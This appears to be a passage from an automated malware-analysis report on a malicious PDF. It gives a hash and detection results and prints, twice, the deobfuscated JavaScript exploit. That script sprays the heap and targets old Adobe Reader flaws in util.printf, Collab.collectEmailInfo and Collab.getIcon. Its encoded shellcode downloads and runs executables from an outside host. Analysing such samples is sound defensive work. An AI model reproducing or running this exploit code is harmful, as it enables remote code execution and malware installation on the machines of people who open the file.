var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u702F%u616F%u6C76%u6E6F%u6E69%u2E69%u6F63%u2F6D%u6F66%u7572%u2F6D%u6261%u7066%u3379%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u702F%u616F%u6C76%u6E6F%u6E69%u2E69%u6F63%u2F6D%u6F66%u7572%u2F6D%u6863%u6E6B%u736F%u3377%u652E%u6578%u0000");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5360 bytes
SHA-256: 5e80ae90e325682065d61875efbc50a7712599a46e7e6ecacf1955e3b7e7600f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u702F%u616F%u6C76%u6E6F%u6E69%u2E69%u6F63%u2F6D%u6F66%u7572%u2F6D%u6261%u6766%u6E68%u7573%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u702F%u616F%u6C76%u6E6F%u6E69%u2E69%u6F63%u2F6D%u6F66%u7572%u2F6D%u6261%u7066%u3379%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u702F%u616F%u6C76%u6E6F%u6E69%u2E69%u6F63%u2F6D%u6F66%u7572%u2F6D%u6863%u6E6B%u736F%u3377%u652E%u6578%u0000");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.